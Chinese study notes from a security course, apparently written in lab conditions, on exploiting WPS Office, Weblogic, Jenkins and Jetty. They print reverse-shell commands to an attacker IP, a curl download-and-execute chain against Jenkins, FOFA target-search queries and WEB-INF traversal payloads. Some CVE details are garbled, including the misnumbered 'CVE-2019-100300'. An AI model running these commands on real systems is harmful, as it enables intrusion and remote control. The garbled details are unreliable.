前记

• 今天是学习小迪安全的第八十天，本节课仍然是围绕中间件安全展开，包括Weblogic、Jenkins、Jetty等
• 主要以实战为主，学会识别以及使用工具一把梭

服务攻防——第八十天

中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE

应用WPS - HW2023-RCE&复现&上线CS

介绍

• 漏洞描述：
  • WPS Office for Windows 内置了用于展示在线模板、素材的嵌入式浏览器（Chromium 内核）。
  • 当用户打开攻击者特制的文档并点击其中的 URL（或带超链接的图片/视频）时，WPS 会调用内置浏览器访问该链接。由于：
    1. 对域名白名单校验过松（只要后缀匹配 *.wps.cn 即可通过）；
    2. 内置浏览器暴露了 cefQuery 等本地 API，可被页面内 JavaScript 调用；
  • 攻击者可在页面中嵌入恶意脚本，通过 cefQuery 请求 WPS 的本地接口，实现“无提示下载 → 落地 → 运行”任意可执行文件，最终造成远程代码执行（RCE）
• 影响版本：
  • WPS Office 2023个人版：$\le$ 11.1.0.15120
  • WPS Office 2019企业版：$\le$ 11.8.2.12085
• 利用条件：
  1. 受害者使用存在漏洞的 WPS 版本；
  2. 系统当前用户对 WPS 下载目录（默认为 %TEMP% 或下载文件夹）具备写权限；
  3. 需要用户“1-click”交互——打开文档后至少点击一次恶意链接或带链接的图片；
  4. 攻击者需控制一个符合 *.wps.cn 子域（或能劫持/假冒）的 Web 服务器，用于托管恶意 HTML/JS 与后续载荷

漏洞复现

• 这里主要是简单复现一下本地命令执行，然后配合C2上线，最后想想实战中如何利用，增加点知识面

• 可以看到WPS版本符合要求：
  

• 我们先添加一个域名让它能够解析，修改win10虚拟机中的hosts文件（C:\Windows\System32\drivers\etc），添加：

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

• 在win10虚拟机中的WPS RCE复现目录下临时启动一个WEB服务：

python -m http.server 80

• 然后我们此时直接打开当前目录下的poc.docx文件，发现它弹出了计算器，说明我们的命令执行是成功的（but我这里并没有成功弹出计算器，原因未知）
  

• 并且也能够看到终端中有人访问过这个1.html文件
  

• 当然，我们想要利用这个漏洞不止是弹出个计算器那么简单，很多时候都是想要让这个机器当成跳板机然后我们进行内网的一些操作，所以需要我们可以尝试让他上线CS

• 至于什么是CS，以及CS如何使用，可以参考这篇文章：CobaltStrike使用教程详解（基础）-CSDN博客

• 这里先在kali中启动CS的服务器：
  

• 然后我还是在kali中启动的客户端，当然也可以在Windows上启动：
  

• 接着我们在CS中配置一个监听器，ip地址填本机：
  

• 再生成一个payload，选择刚刚的监听器，并且输出语言为C#：
  

• 将生成的payload部分放到1.html文件中，放到kali中，开启http服务：
  
  

• 再到hosts文件中将刚才的域名绑定到kali的ip地址：
  

• 并且在poc.docx中修改webExtension1.xml中的url为如下：
  

• 之后打开poc.docx，等待一会，应该就能够看到CS上线了，泥煤的，我还是没复现成功啊

• 弄了一下午也搞不懂什么情况，这里就不弄了，其实这个也没啥用，因为它的利用条件导致这个漏洞也比较鸡肋，只能说提供一个思路

中间件 - Weblogic-CVE&反序列化&RCE

介绍

• Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。
• 探针默认端口：7001
• 默认报错页面：
  

利用

• 目前爆出来的漏洞有：

  • CVE-2023-21839（JNDI）、CVE-2020-2551（JRMP）、CVE-2020-2551
  • CVE-2020-2555、CVE-2020-2883、CVE-2020-14882 未授权访问
  • CVE-2018-2894、CVE-2018-2628（JRMP）、CVE-2018-2893（JRMP）
  • CVE-2018-3245（JRMP）、CVE_2018_3252（JRMP）、CVE_2018_3191
  • CVE-2016-3510、CVE-2016-0638、CVE-2017-10271、CVE-2017-3248（JRMP）、CVE-2015-4852

• 这么多漏洞一个个测肯定是不可能的，所以我们直接上工具：WeblogicTool

• 直接随便开个靶场，然后我们直接工具一把梭就完事了：
  

• fofa语法：

"Error 404-Not Found" && port="7001"

中间件 - Jenkins-CVE&RCE执行

介绍

• Jenkins 是一个开源软件项目，是基于 Java 开发的一种持续集成工具，用于监控持续重复的工作。
• 探针默认端口：8080
• 默认页面（老公公的标志）：
  

漏洞复现

• 这里同样我们可以直接用工具一把梭，当然也可以用对应的payload一个一个测
• 工具地址：https://github.com/TheBeastofwar/JenkinsExploit-GUI

CVE-2017-1000353

• 漏洞描述：Jenkins 在处理基于 HTTP 双向通信通道的 CLI 请求时，未对收到的序列化对象做充分校验。攻击者可将恶意的 java.security.SignedObject 序列化后发送给 Jenkins，Jenkins 将其反序列化为 Command 对象，从而绕过官方黑名单机制，触发 Java 反序列化链，最终造成 未授权远程代码执行（RCE）
• 影响版本：
  • Jenkins主线：≤ 2.56
  • Jenkins LTS：≤ 2.46.1
• 利用项目：vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC
• 利用：

# 1.先生成反弹shell命令
bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1
# 2.将base64编码过后的命令填入生成jenkins_poc.ser,这里java建议使用JDK-1.8.0_291，其他的好像有问题 
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI5LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
# 3.使用python启动epxploit.py，加上网站和jenkins_poc.ser
python exploit.py http://目标IP:目标端口 jenkins_poc.ser
# 4.攻击机即可获取到反弹的shell(要记得在攻击机执行nc -lvvp 5566)

• 或者直接使用上面的工具一把梭，当然有时候工具不一定能利用成功，也可以当作先验证一下：
  

• 这里显示目标处于漏洞版本，那我们还是用具体的利用工具进行测试，首先对反弹Shell进行编码，然后运行工具得到jenkins_poc.ser文件：
  

• 接着监听我们的端口，然后执行第三条命令：
  

• 然后这里本来是可以连上我们的攻击机的，但是我这里又没成功，真的不能理解是为什么反弹不成功

• 但是这里直接执行命令是能够成功的：
  
  

CVE-2018-1000861

• 漏洞描述：Jenkins 采用 Stapler Web 框架开发，框架允许把 URL PATH 直接映射到后端的 public 方法。 CVE-2018-1000861 的成因是 这种映射没有 ACL 限制，攻击者可在 无需登录 的情况下，通过构造 /securityRealm/.../descriptorByName/.../checkScript 这类“白名单前缀”URL，一路路由到 org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#checkScript 等敏感方法；再配合 Groovy 的 元编程/AST 注解（如 @ASTTest、@Grab），在 脚本编译阶段（语法检查） 触发任意代码执行，从而 绕过运行时沙盒，造成 未授权 RCE。
• 影响版本：
  • Jenkins主线：≤ 2.153
  • Jenkins LTS：≤ 2.138.3
• 利用项目：https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
• 利用：

# 1.将反弹shell命令写入到服务器下shell.txt
bash -i >& /dev/tcp/攻击IP/监听端口 0>&1
# 2.在服务器上启动一个web服务，使可以访问到shell.txt
python3 -m http.server 8888
# 3.先使目标远程下载shell.txt文件并保存
python2 exp.py http://目标IP:端口/ "curl -o /tmp/1.sh http://服务器IP:服务器端口/shell.txt"
# 4.再使目标执行下载的文件
python2 exp.py http://目标IP:端口/ "bash /tmp/1.sh"

• 首先写入反弹Shell的命令到shell.txt，并开启服务：
  

• 然后调用exp.py让目标网站远程加载shell.txt文件到本地/tmp/1.sh，这里可以看到它确实是下载了这个文件：
  
  

• 最后让目标网站执行本地的1.sh文件：
  

• 本来它是会反弹到我们的攻击机上的，但是这里还是没有反弹成功，原因是因为我用的Ubuntu系统应该是环境有问题，所以很多反弹Shell的命令用不了，但是文件是成功下载的，换成其他命令应该是可以执行的：
  

• 出现的问题：如果这里使用pip2下载库失败的，可以使用如下命令

python27 install -r requirement.txt --progress-bar=off -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com

CVE-2019-100300

• 漏洞描述：CVE-2019-100300 并非单一缺陷，而是 Jenkins 官方在 2019-01-08 一次性披露的三个关联插件漏洞的合称，本质都是 “Groovy 编译期 AST 转换注解绕过脚本沙盒”，最终造成 已认证远程代码执行（RCE）。
• 影响版本：主要是插件安全
• 利用条件：需要有可登录的账号密码，利用价值较低
• 利用项目：https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

中间件 - Jetty-CVE&信息泄露

介绍

• Jetty 是一个开源的 servlet 容器，它为基于 Java 的 Web 容器提供运行环境
• fofa语法：

app="Jetty"

• 插件识别：
  

漏洞复现

CVE-2021-28169

• 漏洞描述：CVE-2021-28169 是 Eclipse Jetty 中的一个信息泄露漏洞，源于对 URL 路径的双重解码处理不当。在使用 ConcatServlet 或 WelcomeFilter 时，Jetty 会先对请求路径进行一次 URL 解码并检查是否包含敏感目录（如 /WEB-INF/），随后再次解码并转发请求。攻击者可通过双重 URL 编码绕过第一次的安全检查，从而访问本应受保护的 WEB-INF 目录下的敏感文件（如 web.xml），造成配置文件或源代码泄露。
• 影响版本：
  • Jetty 9.x：≤ 9.4.40
  • Jetty 10.x：≤ 10.0.2
  • Jetty 11.x：≤ 11.0.2
• 利用：

/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

CVE-2021-34429

• 漏洞描述：CVE-2021-34429 是 Eclipse Jetty 中的一个路径验证绕过导致的信息泄露漏洞。该漏洞源于 Jetty 在处理 URI 路径时对 Unicode 编码（如 %u002e）和空字符（如 %00）处理不当，使得攻击者可以通过构造特殊编码的路径绕过 ContextHandler 的安全检查，从而访问 WEB-INF、META-INF 等受限目录下的敏感文件（如 web.xml、classes/*.class 等）
• 影响版本：
  • Jetty 9.x：9.4.37 – 9.4.42
  • Jetty 10.x：10.0.1 – 10.0.5
  • Jetty 11.x：11.0.1 – 11.0.5
• 利用：

/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

总结

• 关于Jetty的两个漏洞都是信息泄露的漏洞，有一定作用，遇到就用下面这几个Payload测试就行了：

/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.